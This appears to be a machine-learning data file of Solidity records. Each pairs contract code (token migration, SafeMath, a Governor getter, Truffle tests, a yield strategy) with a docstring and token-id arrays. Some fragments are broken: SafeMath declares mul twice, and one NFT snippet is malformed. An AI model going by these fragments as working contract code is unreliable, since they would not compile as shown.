return claimedWord & mask == mask;
}
function _setClaimed(uint256 index) private {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
function _getMigratableAmountAndTransferV1(address _user, uint256 _balance) private returns (uint256 flashV2Mint) {
uint256 flashV1Balance = IFlashToken(FLASH_TOKEN_V1).balanceOf(_user);
flashV2Mint = flashV1Balance >= _balance ? _balance : flashV1Balance;
IFlashToken(FLASH_TOKEN_V1).transferFrom(_user, address(this), flashV2Mint);
}
function claim(
uint256 index,
uint256 balance,
uint256 bonusAmount,
uint256 expiry,
uint256 expireAfter,
MigrationType migrationType,
bytes32[] calldata merkleProof
) external {
require(!isClaimed(index), "FlashV2Migration: Already claimed.");
address user = msg.sender;
require(
MerkleProof.verify(
merkleProof,
MERKLE_ROOT,
keccak256(
abi.encodePacked(index, user, balance, bonusAmount, expiry, expireAfter, uint256(migrationType))
)
),
"FlashV2Migration: Invalid proof."
);
uint256 flashV2Mint = balance;
if (migrationType == MigrationType.V1_UNCLAIMED) {
require(block.timestamp <= V1_UNCLAIMED_DEADLINE, "FlashV2Migration: V1 claim time expired.");
} else if (migrationType == MigrationType.HOLDER) {
flashV2Mint = _getMigratableAmountAndTransferV1(user, balance);
} else if (migrationType == MigrationType.STAKER) {
if (expireAfter > block.timestamp) {
uint256 burnAmount = balance.mul(expireAfter.sub(block.timestamp)).mul(75e16).div(expiry.mul(1e18));
flashV2Mint = balance.sub(burnAmount);
}
} else {
revert("FlashV2Migration: Invalid migration type");
}
_setClaimed(index);
IFlashToken(FLASH_TOKEN_V2).mint(user, flashV2Mint.add(bonusAmount));
emit Claimed(index, user, flashV2Mint);
}
} | A library for performing overflow-safe math, courtesy of DappHub: https:github.com/dapphub/ds-math/blob/d0ef6d6a5f/src/math.sol Modified to include only the essentials | library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "MATH:: ADD_OVERFLOW");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "MATH:: SUB_UNDERFLOW");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MATH:: MUL_OVERFLOW");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MATH:: MUL_OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "MATH:: DIVISION_BY_ZERO");
uint256 c = a / b;
return c;
}
}
| 1,227,761 | [
1,
37,
5313,
364,
14928,
9391,
17,
4626,
4233,
16,
21833,
1078,
93,
434,
463,
2910,
8182,
30,
2333,
30,
6662,
18,
832,
19,
6223,
844,
373,
19,
2377,
17,
15949,
19,
10721,
19,
72,
20,
10241,
26,
72,
26,
69,
25,
74,
19,
4816,
19,
15949,
18,
18281,
21154,
358,
2341,
1338,
326,
18518,
2001,
87,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
14060,
10477,
288,
203,
565,
445,
527,
12,
11890,
5034,
619,
16,
2254,
5034,
677,
13,
2713,
16618,
1135,
261,
11890,
5034,
998,
13,
288,
203,
3639,
2583,
12443,
94,
273,
619,
397,
677,
13,
1545,
619,
16,
315,
49,
3275,
2866,
11689,
67,
12959,
17430,
8863,
203,
565,
289,
203,
203,
565,
445,
720,
12,
11890,
5034,
619,
16,
2254,
5034,
677,
13,
2713,
16618,
1135,
261,
11890,
5034,
998,
13,
288,
203,
3639,
2583,
12443,
94,
273,
619,
300,
677,
13,
1648,
619,
16,
315,
49,
3275,
2866,
10025,
67,
31625,
17430,
8863,
203,
565,
289,
203,
203,
565,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
309,
261,
69,
422,
374,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
276,
273,
279,
380,
324,
31,
203,
3639,
2583,
12,
71,
342,
279,
422,
324,
16,
315,
49,
3275,
2866,
490,
1506,
67,
12959,
17430,
8863,
203,
203,
3639,
327,
276,
31,
203,
565,
289,
203,
203,
565,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
309,
261,
69,
422,
374,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
276,
273,
279,
380,
324,
31,
203,
3639,
2583,
12,
71,
342,
279,
422,
324,
16,
315,
49,
3275,
2866,
490,
1506,
67,
12959,
17430,
8863,
203,
203,
3639,
327,
276,
31,
2
] |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorVotesComp.sol)
pragma solidity ^0.8.0;
import "../GovernorUpgradeable.sol";
import "../../token/ERC20/extensions/ERC20VotesCompUpgradeable.sol";
import { GovernorVotesCompStorage } from "./GovernorVotesCompStorage.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Extension of {Governor} for voting weight extraction from a Comp token.
*
* _Available since v4.3._
*/
abstract contract GovernorVotesCompUpgradeable is Initializable, GovernorUpgradeable {
using GovernorVotesCompStorage for GovernorVotesCompStorage.Layout;
function __GovernorVotesComp_init(ERC20VotesCompUpgradeable token_) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__IGovernor_init_unchained();
__GovernorVotesComp_init_unchained(token_);
}
function __GovernorVotesComp_init_unchained(ERC20VotesCompUpgradeable token_) internal onlyInitializing {
GovernorVotesCompStorage.layout().token = token_;
}
/**
* Read the voting weight from the token's built in snapshot mechanism (see {IGovernor-getVotes}).
*/
function getVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {
return GovernorVotesCompStorage.layout().token.getPriorVotes(account, blockNumber);
}
// generated getter for ${varDecl.name}
function token() public view returns(ERC20VotesCompUpgradeable) {
return GovernorVotesCompStorage.layout().token;
}
}
| generated getter for ${varDecl.name} | function token() public view returns(ERC20VotesCompUpgradeable) {
return GovernorVotesCompStorage.layout().token;
}
| 12,572,199 | [
1,
11168,
7060,
364,
3531,
1401,
3456,
18,
529,
97,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1147,
1435,
1071,
1476,
1135,
12,
654,
39,
3462,
29637,
2945,
10784,
429,
13,
288,
203,
3639,
327,
611,
1643,
29561,
29637,
2945,
3245,
18,
6741,
7675,
2316,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.2;
import "truffle/Assert.sol";
import "truffle/DeployedAddresses.sol";
import "../contracts/ProofOfExistence.sol";
contract TestProofOfExistence {
/** @dev This test function is to check the initial proof length.
* Since user is interacting with the app very first time, there
* should not any proof (file metadata) available in the blockchain.
*/
function testInitialProofLength() public {
ProofOfExistence proofOfExistence = ProofOfExistence(DeployedAddresses.ProofOfExistence());
uint expected = 0;
Assert.equal(proofOfExistence.getProofLength(this), expected, "User should have zero proof initially");
}
/** @dev This test function is to check the proof length after uploading
* one file. Blockchain should record the file metadata after uploading
* the file to IPFS, so it should return length as 1.
*/
function testProofLengthAfterAddingFileMetadata() public {
ProofOfExistence proofOfExistence = ProofOfExistence(DeployedAddresses.ProofOfExistence());
proofOfExistence.addProof("random file hash", "random file path");
uint expected = 1;
Assert.equal(proofOfExistence.getProofLength(this), expected, "User should have one proof after adding one record into the blockchain");
}
/** @dev This test function is to check the owner of uploaded file.
* File existence proof should correctly record the file owner in
* blockchain.
*/
function testFileOwnerMetadata() public {
ProofOfExistence proofOfExistence = ProofOfExistence(DeployedAddresses.ProofOfExistence());
proofOfExistence.addProof("random file hash", "random file path");
(string memory fileHash, string memory filePath, uint timestamp, address owner) = proofOfExistence.getProofAt(this, 0);
address expected = this;
Assert.equal(owner, expected, "Blockchain proof should match the file owner");
}
/** @dev This test function is to check the file hash. Hash of uploaded
* file in IPFS should match with fileHash attribute in smart contract.
*/
function testFileHashMetadata() public {
ProofOfExistence proofOfExistence = ProofOfExistence(DeployedAddresses.ProofOfExistence());
proofOfExistence.addProof("random file hash", "random file path");
(string memory fileHash, string memory filePath, uint timestamp, address owner) = proofOfExistence.getProofAt(this, 0);
string memory expected = "random file hash";
Assert.equal(fileHash, expected, "Blockchain proof should match the file hash");
}
/** @dev This test function is to check the file path. IPFS url of uploaded
* file should match with the corresponding state variable in blockchain.
*/
function testFilePathMetadata() public {
ProofOfExistence proofOfExistence = ProofOfExistence(DeployedAddresses.ProofOfExistence());
proofOfExistence.addProof("random file hash", "random file path");
(string memory fileHash, string memory filePath, uint timestamp, address owner) = proofOfExistence.getProofAt(this, 0);
string memory expected = "random file path";
Assert.equal(filePath, expected, "Blockchain proof should match the file path");
}
}
| * @dev This test function is to check the file path. IPFS url of uploaded file should match with the corresponding state variable in blockchain./ | function testFilePathMetadata() public {
ProofOfExistence proofOfExistence = ProofOfExistence(DeployedAddresses.ProofOfExistence());
proofOfExistence.addProof("random file hash", "random file path");
(string memory fileHash, string memory filePath, uint timestamp, address owner) = proofOfExistence.getProofAt(this, 0);
string memory expected = "random file path";
Assert.equal(filePath, expected, "Blockchain proof should match the file path");
}
| 973,254 | [
1,
2503,
1842,
445,
353,
358,
866,
326,
585,
589,
18,
2971,
4931,
880,
434,
9140,
585,
1410,
845,
598,
326,
4656,
919,
2190,
316,
16766,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1842,
5598,
2277,
1435,
1071,
288,
203,
3639,
1186,
792,
951,
4786,
802,
14601,
951,
4786,
802,
273,
1186,
792,
951,
4786,
802,
12,
31954,
7148,
18,
20439,
951,
4786,
802,
10663,
203,
203,
3639,
14601,
951,
4786,
802,
18,
1289,
20439,
2932,
9188,
585,
1651,
3113,
315,
9188,
585,
589,
8863,
203,
203,
3639,
261,
1080,
3778,
585,
2310,
16,
533,
3778,
4612,
16,
2254,
2858,
16,
1758,
3410,
13,
273,
14601,
951,
4786,
802,
18,
588,
20439,
861,
12,
2211,
16,
374,
1769,
203,
203,
3639,
533,
3778,
2665,
273,
315,
9188,
585,
589,
14432,
203,
203,
3639,
5452,
18,
9729,
12,
22787,
16,
2665,
16,
315,
1768,
5639,
14601,
1410,
845,
326,
585,
589,
8863,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x66427a8B92F2679b5cF55C69a93e2431c1E9370D/sources/contracts/ColorDoodlesItemsRoyalties.sol | new uploaded QmPEDvdyJVDSnMAsqzrbkuBBPjWXxTT8xxmbJrDsEvQ5rJ | contract ColorDoodlesItemsRoyalties is ERC721, Ownable {
uint256 public constant SHANIR_TEST = 0;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
_mint(msg.sender, i);
}*/
| 12,495,521 | [
1,
2704,
9140,
2238,
81,
12120,
90,
15680,
46,
58,
3948,
82,
49,
1463,
85,
94,
6731,
31562,
9676,
52,
78,
59,
60,
92,
1470,
28,
5279,
1627,
46,
86,
22831,
20861,
53,
25,
86,
46,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
5563,
3244,
369,
1040,
3126,
54,
13372,
2390,
606,
353,
4232,
39,
27,
5340,
16,
14223,
6914,
288,
203,
565,
2254,
5034,
1071,
5381,
6122,
1258,
7937,
67,
16961,
273,
374,
31,
203,
203,
565,
1450,
9354,
87,
364,
9354,
87,
18,
4789,
31,
203,
565,
9354,
87,
18,
4789,
3238,
389,
2316,
548,
8135,
31,
203,
203,
203,
203,
5411,
389,
81,
474,
12,
3576,
18,
15330,
16,
277,
1769,
203,
203,
3639,
289,
5549,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IStrategyV2.sol";
import "../../ValueVaultMaster.sol";
interface IOneSplit {
function getExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags // See constants in IOneSplit.sol
) external view returns(
uint256 returnAmount,
uint256[] memory distribution
);
}
interface IUniswapRouter {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
}
interface IValueLiquidPool {
function swapExactAmountIn(address, uint, address, uint, uint) external returns (uint, uint);
function swapExactAmountOut(address, uint, address, uint, uint) external returns (uint, uint);
function calcInGivenOut(uint, uint, uint, uint, uint, uint) external pure returns (uint);
function calcOutGivenIn(uint, uint, uint, uint, uint, uint) external pure returns (uint);
function getDenormalizedWeight(address) external view returns (uint);
function getBalance(address) external view returns (uint);
function swapFee() external view returns (uint);
}
interface IStakingRewards {
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function rewardRate() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
interface ISushiPool {
function deposit(uint256 _poolId, uint256 _amount) external;
function claim(uint256 _poolId) external;
function withdraw(uint256 _poolId, uint256 _amount) external;
function emergencyWithdraw(uint256 _poolId) external;
}
interface IProfitSharer {
function shareProfit() external returns (uint256);
}
interface IValueVaultBank {
function make_profit(uint256 _poolId, uint256 _amount) external;
}
// Deposit UNIv2ETHUSDC to a standard StakingRewards pool (eg. UNI Pool - https://app.uniswap.org/#/uni)
// Wait for Vault commands: deposit, withdraw, claim, harvest (can be called by public via Vault)
contract Univ2ETHUSDCMultiPoolStrategy is IStrategyV2 {
using SafeMath for uint256;
address public strategist;
address public governance;
uint256 public constant FEE_DENOMINATOR = 10000;
IERC20 public weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IOneSplit public onesplit = IOneSplit(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e);
IUniswapRouter public unirouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
ValueVaultMaster public valueVaultMaster;
IERC20 public lpPair; // ETHUSDC_UNIv2
IERC20 public lpPairTokenA; // USDC
IERC20 public lpPairTokenB; // For this contract it will be always be WETH
mapping(address => mapping(address => address[])) public uniswapPaths; // [input -> output] => uniswap_path
mapping(address => mapping(address => address)) public liquidPools; // [input -> output] => value_liquid_pool (valueliquid.io)
struct PoolInfo {
address vault;
IERC20 targetToken;
address targetPool;
uint256 targetPoolId; // poolId in soda/chicken pool (no use for IStakingRewards pool eg. golff.finance)
uint256 minHarvestForTakeProfit;
uint8 poolType; // 0: IStakingRewards, 1: ISushiPool, 2: ISodaPool
uint256 poolQuota; // set 0 to disable quota (no limit)
uint256 balance;
}
mapping(uint256 => PoolInfo) public poolMap; // poolIndex -> poolInfo
bool public aggressiveMode; // will try to stake all lpPair tokens available (be forwarded from bank or from another strategies)
uint8[] public poolPreferredIds; // sorted by preference
// lpPair: ETHUSDC_UNIv2 = 0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc
// lpPairTokenA: USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48
// lpPairTokenB: WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
constructor(ValueVaultMaster _valueVaultMaster,
IERC20 _lpPair,
IERC20 _lpPairTokenA,
IERC20 _lpPairTokenB,
bool _aggressiveMode) public {
valueVaultMaster = _valueVaultMaster;
lpPair = _lpPair;
lpPairTokenA = _lpPairTokenA;
lpPairTokenB = _lpPairTokenB;
aggressiveMode = _aggressiveMode;
governance = tx.origin;
strategist = tx.origin;
// Approve all
lpPairTokenA.approve(address(unirouter), type(uint256).max);
lpPairTokenB.approve(address(unirouter), type(uint256).max);
}
// [0] targetToken: uniToken = 0x1f9840a85d5af5bf1d1762f925bdaddc4201f984
// targetPool: ETHUSDCUniPool = 0x7fba4b8dc5e7616e59622806932dbea72537a56b
// [1] targetToken: draculaToken = 0xb78B3320493a4EFaa1028130C5Ba26f0B6085Ef8
// targetPool: MasterVampire[32] = 0xD12d68Fd52b54908547ebC2Cd77Ec6EbbEfd3099
// targetPoolId = 32
function setPoolInfo(uint256 _poolId, address _vault, IERC20 _targetToken, address _targetPool, uint256 _targetPoolId, uint256 _minHarvestForTakeProfit, uint8 _poolType, uint256 _poolQuota) external {
require(msg.sender == governance, "!governance");
poolMap[_poolId].vault = _vault;
poolMap[_poolId].targetToken = _targetToken;
poolMap[_poolId].targetPool = _targetPool;
poolMap[_poolId].targetPoolId = _targetPoolId;
poolMap[_poolId].minHarvestForTakeProfit = _minHarvestForTakeProfit;
poolMap[_poolId].poolType = _poolType;
poolMap[_poolId].poolQuota = _poolQuota;
_targetToken.approve(address(unirouter), type(uint256).max);
lpPair.approve(_vault, type(uint256).max);
lpPair.approve(address(_targetPool), type(uint256).max);
}
function approve(IERC20 _token) external override {
require(msg.sender == governance, "!governance");
_token.approve(valueVaultMaster.bank(), type(uint256).max);
_token.approve(address(unirouter), type(uint256).max);
}
function approveForSpender(IERC20 _token, address spender) external override {
require(msg.sender == governance, "!governance");
_token.approve(spender, type(uint256).max);
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setStrategist(address _strategist) external {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
strategist = _strategist;
}
function setPoolPreferredIds(uint8[] memory _poolPreferredIds) public {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
delete poolPreferredIds;
for (uint8 i = 0; i < _poolPreferredIds.length; ++i) {
poolPreferredIds.push(_poolPreferredIds[i]);
}
}
function setMinHarvestForTakeProfit(uint256 _poolId, uint256 _minHarvestForTakeProfit) external {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
poolMap[_poolId].minHarvestForTakeProfit = _minHarvestForTakeProfit;
}
function setPoolQuota(uint256 _poolId, uint256 _poolQuota) external {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
poolMap[_poolId].poolQuota = _poolQuota;
}
// Sometime the balance could be slightly changed (due to the pool, or because we call xxxByGov methods)
function setPoolBalance(uint256 _poolId, uint256 _balance) external {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
poolMap[_poolId].balance = _balance;
}
function setTotalBalance(uint256 _totalBalance) external {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
totalBalance = _totalBalance;
}
function setAggressiveMode(bool _aggressiveMode) external {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
aggressiveMode = _aggressiveMode;
}
function setWETH(IERC20 _weth) external {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
weth = _weth;
}
function setOnesplit(IOneSplit _onesplit) external {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
onesplit = _onesplit;
}
function setUnirouter(IUniswapRouter _unirouter) external {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
unirouter = _unirouter;
lpPairTokenA.approve(address(unirouter), type(uint256).max);
